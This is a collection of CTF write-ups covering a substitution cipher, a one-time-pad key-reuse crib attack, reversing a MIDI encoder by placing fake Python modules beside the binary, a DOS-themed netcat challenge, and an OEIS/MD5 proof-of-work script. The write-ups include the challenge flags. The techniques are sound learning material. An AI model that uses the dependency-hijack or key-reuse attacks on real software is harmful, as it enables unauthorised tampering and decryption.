We can suppose that it is [Simple Substitution Cipher](https://en.wikipedia.org/wiki/Substitution_cipher), so we need to extract all symbols to solve the challenge.
But how to do it by hands? Rewriting 73 lines would be **harmful**.
Let's write a decoder that will extract black symbols from the white background.
Firstly we need to convert the image into `1-bit-pixel mode` with `dither=False`. After that our symbols will look more clearly:
Next I just moved from left to right, line by line, using [BFS](https://en.wikipedia.org/wiki/Breadth-first_search) to extract every symbol from image. All symbols are **continuous** so BFS will catch the entire symbol.
Here is an image where each unique symbol was replaced with a colored square.
The full script is available in [decode.py](decode.py). Now there are random ASCII characters instead of drawn symbols. The last line seems to be flag.
```abcdcefgahijdcefgkhelgldjijdmbnngnbodapqhhrgiflkcoaqggmjabllgllgchncshqbffhjsdlfhoceoqagmlbftgicemgmoeacdchhauadvsbcukcsdjobmlkobaahslrgsgmiglcdijlchmbjguhicbdigmllodadijwdxhjbmfgilueavcemgahijfdlcbiugcheukabovoeacduhahmhoqmglcgoagllsdigjablllgcvgfglcbawgsgampkhafgmbmcdlbibaqboqhhlbacukglcbemhmblobmcadjkcdijvbigalckglgblgmvgicjbmfgilueavcemgckgyedcgbobxdijyeglcnhmyegmdglmgupuagfjabllcmggjahqglmgabcdhilkdvligsphmrcdogluelchonmhicvbjgvexxagckgqglcladijqgtgmbjguhhagmcmdhodzgfogcbalgbmmdijlqdmckohicknahsgmigurabugbohckgmlahtgdlqgphifogblemglvhhilgcsgffdijsbacxvgmlhibadxgfbmcvgmlhibadxgfjhhfidjkcadccagogqhhruelchovgcihlgvmdicigurabugluelchovgcvdaahslysgmcprgpqhbmfaabobmbobabmjgxdvvgmvheukodohlbfdbjmbojabllsbmglgchnckmggckbirphenhmphemvbmcdiopwhemigpigurabugphjbvhlgkbijdijlueavcemglckgqdrgukbdiqhsaumdolhikgbmceoqmgaabckgyedxdildfgckgobxgogilkgmqbasbmodijladvvgmlphemlodigbifhemlgijmbtgffgubicgmlgcckgbiidtgmlbmpwhemibaohoobqdmfuennsdigqbmmgajedcbmmburckgvaelkhmjbiljbmadujmbcgmbifhdafdvvdijfdlkhrchqgmnglcbagqggmqmgsdijrdcobcglnhmadngqhhrahtgmladjkcsgdjkclubmtgluhilcdcecdhihneidcgflcbcglhnbogmdubjablljhanjabllglvgscgmbijgauhdillgchncsgatgqeiipngacqbqpladvvgmlvgmlhibadxgfcmggcmeirjabllsbmgfehgzvgucdijphebrggvlbrgvmgjibiupwhemibackgqgmmpqeffpckgqdmfdgpbmiqhsarbickbukbifgadgmlgbmmdijlvgmlhibadxgfoptgmphsiibogqhhreiduhmibifmbdiqhsodlobcukgfgbmmdijllahckvbalohqdagqbchibqmbiukvgmlhibadxgfueccdijqhbmflohrgfgcguchmfgbucdtbcdhichsgackgaeigadjkcvgmlhibadxgfbiidtgmlbmpvelkvdielbobvogilcbuhlhurlgashhfckgeiduhmiugmgbaqhsackgadccagvbcdgicudmuaghnnbodapbifnmdgifllgmtdijqhsajabllnahsgmjbmfgiugicgmvdgugqdmcklchigodigmbalhbvllgchnnhemjhanjabllglckgugfbmckeoqvdbihluelchoobvuhblcgmlgcqdjvgmlhibadcpfglrldjillgblchiglvablklvhijgkhafgmphemohlcfgldmgfhqwgucckdlukmdloblckgnabjdlzoblphebmglhjhhfbcleqlcdcecdhiudvkgml```
Finally we should perform [Frequency analysis](https://en.wikipedia.org/wiki/Frequency_analysis) and recover the original message.
```latitude longitude house sign giraffe family book ends html beer glasses set of two bad dog wisdom tumblers adventurer multi tool clip watch twig marsh mallow skewer nesting storage containers smiling jizo garden sculpture long distance touch lamp multi color ombre stem less wine glass set pedestal jewelry holder artisan al bamboo salt chest aurora smart lighting panels the sea serpent garden sculpture the quite amazing quest for queries recycled glass tree globes relationships new york times custom front page puzzle the best sling beverage cooler trio mixed metals earrings birth month flower necklace a mothers love is beyond measure spoon set wedding waltz personalized art personalized good night little me book custom pet nose print necklaces custom pet pillows qwerty keyboard llama rama large zipper pouch mimosa diagram glass ware set of three thank you for your part in my journey necklace yoga pose hanging sculptures the bike chain bowl crimson heart umbrella the quiz inside the maze mens herbal warming slippers yours mine and ours engraved decanter set the anniversary journal momma bird cuff wine barrel guitar rack the plush organs garlic grater and oil dipping dish oktober festale beer brewing kit mates for life book lovers lightweights carves constitution of united states of america glass golf glasses pewter angel coins set of twelve bunny felt baby slippers personalized tree trunk glass ware duo expecting you a keepsake pregnancy journal the berry buddy the birdie yarn bowl kantha chandeliers earrings personalized my very own name book unicorn and rainbow mismatched earrings sloth pals mobile baton a branch personalized cutting board smoke detector deactivation towel the lune light personalized anniversary push pinus a map mens taco socks elwood the unicorn cereal bowl the little patient circle of family and friends serving bowl glass flower garden centerpiece birth stone mineral soaps set of four golf glasses the cedar thumb pianos custom map coaster set big personality desk signs sea stone splash sponge holder your most desired object this chrism as the flag is xmas you are so good at substitution ciphers``` |
Writeup can be found here: [https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/ehh/ehh.py](https://github.com/IARyan/CTFSolutions/blob/master/2018/TUCTF/ehh/ehh.py) |
# Jimmy's Crypto (Crypto 489 points)
## Exploring the Source code```#!/usr/bin/env python2
import random
def do_xor(p, k): out = '' for i in xrange(len(p)): out += chr(ord(p[i]) ^ ord(k[i])) return out
with open('flag_plaintext', 'rb') as f1: p1 = ''.join(f1.readlines())
with open('secret_plaintext', 'rb') as f2: p2 = ''.join(f2.readlines())
l = max(len(p1), len(p2))
key = ''.join([chr(random.randint(0, 256)) for i in xrange(l)])
c1 = do_xor(p1, key)c2 = do_xor(p2, key)
with open('flag', 'wb') as f1: f1.write(c1)
with open('secret', 'wb') as f2: f2.write(c2)
```It looks like both the flag and the secret are being XORed with the same random key and writing the output into the flag and the secret files respectively.
## Cracking the encryptionIf we are using XOR as a ONE TIME PAD (unique key for each message), then it is virtually uncrackable. But here the same key has been used for two messages and we know a piece of the flag("TUCTF{"). That means we can try to get the full flag using a known plaintext attack against it. First let us find out the length of the flag and the key.```len(flag) = 109len(secret) = 376 ===> len(key) = max(109,376) = 376```Since the length of the key is more than the length of flag, repeating key is ruled out.
It should be safe to assume that the secret is a valid ascii meaningful message.First we need to findout the part of the secret which is at the same position of the known part of the flag. For that, I used the below script.```def do_xor(p, k): out = '' for i in xrange(len(p)): out += chr(ord(p[i]) ^ ord(k[i])) return out
flagenc = open("flag","r").read()secretenc = open("secret","r").read()flagxorsecret = do_xor(flagenc,secretenc)flagpart = "TUCTF{"def is_printable(s): return all(ord(c) >= 32 and ord(c) <= 126 for c in s)
for i in range(len(flagxorsecret)): if(is_printable(do_xor(flagxorsecret[i:i+len(flagpart)],flagpart))): print i print do_xor(flagxorsecret[i:i+len(flagpart)],flagpart)```Output is```0~DERFz1ESETGi2RSCUT-8PURT@g9TDCRZ>42teal m <------------ Our Wanted Piece43dw{2PF44vm%B{k45l3UiVF462C~D{J47BhSiwG48iE~ez\49DhrhaM57.=9m56107s01081```From now on, its mostly guesswork. By guessing, we get the flag and the corresponding secret as```TUCTF{D0NT_US3_TH3_S4M3_K3Y_F0R_TH3_S4M3_M3SS4G3}teal my secrets. If you are looking at this file,```## References* https://en.wikipedia.org/wiki/One-time_pad |
# A Christmas Carol (445 PTS)
### Description
>Santa found an interesting machine that transforms text to beautiful Christmas carols. He also found a carol that contains a hidden message. Help Santa find out what the secret message is!>>_Authors: littlewho + Gabies_
Files:- [carol.zip](carol.zip)
Flag: ```X-MAS{4_n07_50_u5u4l_chr157m45_c4r0l}```
### Solution
We've got two files: the encoder and the flag, encoded by given encoder (yeah!).
```sh$ file encoder.exe encoder.exe: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=f51f0d393d69dc03ad75319591f25174696c6ac0, stripped$ file flag.mid flag.mid: Standard MIDI data (format 1) using 1 track at 1/220```
Midi file looks a bit strange and sounds too.
Okay, let's _reverse_ the binary!
```sh$ ./encoder.exe Usage: ./exe <infile> <outfile>$ echo ABC > file$ ./encoder.exe file file.mid[*] Encoding ABC
[*] Written message to file.mid```
I tried to open the binary in [IDA Pro](https://en.wikipedia.org/wiki/Interactive_Disassembler)...
and it actually was an **executable python**, using [Nuitka](https://github.com/Nuitka/Nuitka) as a compiler.
I don't know how to reverse compiled python, so I started to investigate the _behaviour_ of the encoder.
Firstly I ran `strace` utility ([strace.txt](strace.txt)) and found that encoder works on **python2** and imports **base64** library (also, it uses **midi** library to save midi's).
```stat("/usr/lib/python2.7/", {st_mode=S_IFDIR|0755, st_size=20480, ...}) = 0stat("/usr/lib/python2.7/", {st_mode=S_IFDIR|0755, st_size=20480, ...}) = 0...stat("/usr/lib/python2.7/base64", 0x7fff59651ba0) = -1 ENOENT (No such file or directory)open("/usr/lib/python2.7/base64.x86_64-linux-gnu.so", O_RDONLY) = -1 ENOENT (No such file or directory)open("/usr/lib/python2.7/base64.so", O_RDONLY) = -1 ENOENT (No such file or directory)open("/usr/lib/python2.7/base64module.so", O_RDONLY) = -1 ENOENT (No such file or directory)open("/usr/lib/python2.7/base64.py", O_RDONLY) = 3open("/usr/lib/python2.7/base64.pyc", O_RDONLY) = 4```
According to [python2.7's import system](https://docs.python.org/2/tutorial/modules.html), python tries to search for the module in the working directory. It means, we can intercept dependency resolution and create our own `base64.py` in the same folder as `encoder.exe`.
```sh$ touch base64.py$ ./encoder.exe file file.mid Traceback (most recent call last): File "/home/littlewho/our_ctf/midi/chall.py", line 2, in <module>ImportError: cannot import name 'b64encode'```
Oops, python can't import required functions (cause we didn't implement it). Let's fix that!
```sh$ cat base64.pydef b64encode(x): print '(from b64encode): '+x; return x$ ./encoder.exe file file.mid [*] Encoding ABC
(from b64encode): ABC
[*] Written message to file.mid```
Okay, it works, but isn't helpful for us. It just base64-encode a file content, very usual procedure.
Next, I placed a fake `midi.py` and started to learn it's behaviour.
```sh$ touch midi.py$ ./encoder.exe file file.mid ...AttributeError: 'module' object has no attribute 'Pattern'
$ cat midi.pyclass Pattern: pass$ ./encoder.exe file file.mid ...AttributeError: 'module' object has no attribute 'Track'
$ cat midi.pyclass Pattern: passclass Track: pass$ ./encoder.exe file file.mid ...AttributeError: Pattern instance has no attribute 'append'
$ cat midi.pyclass Pattern(list): passclass Track(list): pass$ ./encoder.exe file file.mid ...AttributeError: 'module' object has no attribute 'NoteOnEvent'
$ cat midi.pyclass Pattern(list): passclass Track(list): passdef NoteOnEvent(*args, **kwargs): print 'from midi: '+repr(args)+repr(kwargs)$ ./encoder.exe file file.mid ...AttributeError: 'module' object has no attribute 'NoteOffEvent'
$ cat midi.pyclass Pattern(list): passclass Track(list): passdef NoteOnEvent(*args, **kwargs): print 'from midi: '+repr(args)+repr(kwargs)def NoteOffEvent(*args, **kwargs): print 'from midi: '+repr(args)+repr(kwargs)$ ./encoder.exe file file.mid [*] Encoding ABC
(from b64encode): ABC
from midi: (){'velocity': 20, 'tick': 0, 'pitch': 32}from midi: (){'tick': 100, 'pitch': 33}from midi: (){'velocity': 20, 'tick': 0, 'pitch': 33}from midi: (){'tick': 100, 'pitch': 33}from midi: (){'velocity': 20, 'tick': 0, 'pitch': 33}from midi: (){'tick': 100, 'pitch': 34}from midi: (){'velocity': 20, 'tick': 0, 'pitch': 5}from midi: (){'tick': 100, 'pitch': 5}Traceback (most recent call last): File "/home/littlewho/our_ctf/midi/chall.py", line 51, in <module> File "/home/littlewho/our_ctf/midi/chall.py", line 29, in encode_messageAttributeError: 'module' object has no attribute 'EndOfTrackEvent'```
`velocity` and `tick` arguments are always the same, but `pitch` makes changes. We need to look more carefully. I changed a bit `midi.py` to see a difference better
```pyclass Pattern(list): passclass Track(list): pass
def NoteOnEvent(*args, **kwargs): print 'on='+str(kwargs['pitch']),def NoteOffEvent(*args, **kwargs): print 'off='+str(kwargs['pitch'])```
Let's start investigation!
```sh$ echo AAA > file && ./encoder.exe file file.mid on=32 off=33on=32 off=33on=32 off=33on=5 off=5
$ echo AAB > file && ./encoder.exe file file.mid on=32 off=33on=32 off=33on=33 off=33on=5 off=5
$ echo ABCZ > file && ./encoder.exe file file.mid on=32 off=33on=33 off=33on=33 off=34on=45 off=45on=5 off=5```
See that? It looks like `on+off` pitches give the number of the character in ASCII table. The last character is line feed `\n`.
```py>>> chr(32+33), chr(33+33), chr(33+34), chr(45+45), chr(5+5)('A', 'B', 'C', 'Z', '\n')```
Yeah, we've finally got it! All that we should do now is to extract all pitches from `flag.mid`.
```py>>> import midi>>> flag = midi.read_midifile('flag.mid')>>> track = flag[0]>>> track[0]midi.NoteOnEvent(tick=0, channel=0, data=[42, 20])>>> on_events, off_events = track[0::2], track[1::2]>>> on_pitches = [event.data[0] for event in on_events[:-1]]>>> off_pitches = [event.data[0] for event in off_events[:-1]]>>> chars = []>>> for on, off in zip(on_pitches, off_pitches):... chars.append(on+off)... >>> ''.join(map(chr, chars))'TyBDaHJpc3RtYXMgdHJlZSwgbyBDaHJpc3RtYXMgdHJlZQpIb3cgbG92ZWx5IGFyZSB0aHkgYnJhbmNoZXMKTyBDaHJpc3RtYXMgdHJlZSwgbyBDaHJpc3RtYXMgdHJlZQpIb3cgbG92ZWx5IGFyZSB0aHkgYnJhbmNoZXMKWC1NQVN7NF9uMDdfNTBfdTV1NGxfY2hyMTU3bTQ1X2M0cjBsfQ='```
And the last move...
```O Christmas tree, o Christmas treeHow lovely are thy branchesO Christmas tree, o Christmas treeHow lovely are thy branchesX-MAS{4_n07_50_u5u4l_chr157m45_c4r0l}``` |
# TU CTF 2018 - hardDOS
## DescriptionPaying attention is mitey important! (Difficulty: Hard)
nc 18.216.100.42 12345
## SolutionThis challenge is similar to [easyDOS](../easyDOS), we have to find the correct commands and arguments.
Also in this case we have to answer some questions before reaching the real challenge.
Let's just pick one of them.
Of course yes!
Now the real challenge starts. Apparently `THE MITE` is giving us some hints.
`"THE MITE: First thing's first. What's even in here?"`
This step was fairly easy, `ls` is working! We got a list of files and a new hint.
`"THE MITE: Alright, seems like a standard DOS installation. One of these files must to have something in it."`
We lost quite a lot of time before discovering that the correct command was `file`. Knowing that we iterate over all files.
`"THE MITE: Hey now, GRAPHICS.COM should be a DOS executable!"`
So `GRAPHICS.COM` is the file we are interested in. Eventually one of us tried to do `strings GRAPHICS.COM`, which gave us the content of the file and the flag!
``` TUCTF{4LW4Y5_1NF3C7_7H353_19742_BY735}```
## Code[flag.py](./flag.py)
## CascadeNote that the server was infected by [Cascade](http://malware.wikia.com/wiki/Cascade). Once connected, we only had three minutes before it hits. |
# A Weird List of SequencesSee https://github.com/dchiquit/xmasctf-2018 for up-to-date writeups and source code.
Logging into the server, we are at once confronted with a captcha prompt:
CAPTCHA!!! Give a string X such that md5(X).hexdigest()[:5]=48e5a.
Ironically this seems very difficult for a human to do, but trivial for a computer `¯\_(ツ)_/¯`
I wrote up a script that hashes random strings until the last 5 digits of the hash matches a given value. See sequences/captcha.py. It reliably finds a match within 10 seconds, which is fast enough.
Now that we are passed the "captcha", we get to the actual problem:
Hello, litlle one! This time the challenge is very random! You will be asked 25 questions where you are given the first 30 terms of a random integer sequence and you will have to determine the next term of that sequence! Let's start!
Question number 1! Here's the sequence: [0, 0, 1, 0, 2, 2, 2, 4, 6, 7, 8, 13, 15, 21, 25, 30, 39, 50, 58, 74, 89, 105, 129, 156, 185, 221, 264, 309, 366, 433] input an integer:
I have no idea what this series is. Fortunately, I have heard of a site called [OEIS](https://oeis.org/). The On-Line Encyclopedia of Integer Sequences is a huge repository of lists of numbers. Pasting the given series in to the search bar, we discover that this is the "Number of partitions of n such that there is exactly one part which occurs twice, while all other parts occur only once", and the next value is `505`. We plug in this value into the server and get this:
Good job, next question!
Question number 2! Here's the sequence: [1, 1, 2, 3, 5, 7, 0, 4, 0, 8, 9, 1, 0, 2, 3, 0, 0, 0, 0, 6, 0, 0, 1, 1, 2, 0, 5, 7, 0, 0] input an integer:
Clearly this is going to be tedious. We could probably do this manually 25 times, but I have had problems in past CTFs with `nc` connections timing out prematurely. Instead, we will use Python's `urllib2` to query the OEIS and scrape the page data to determine the next value in the sequence. This is the function I wrote to accomplish this:
def lookupSequence(seq): page = urlopen("https://oeis.org/search?q=" + "%2C".join(seq)) raw_html = page.read() pattern = re.compile("<tt>[^<]*<b[^<]*</b>, (-?[0-9]+),") match = pattern.search(raw_html) return match.group(1)
To make the automation process cleaner, I also wrote sequences/nccli.py to provide the NC class, which serves as a simple wrapper around the `nc` command. This allows my script to directly interface with the server.
See sequences/sequences\_solve.py for the final solution script. |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.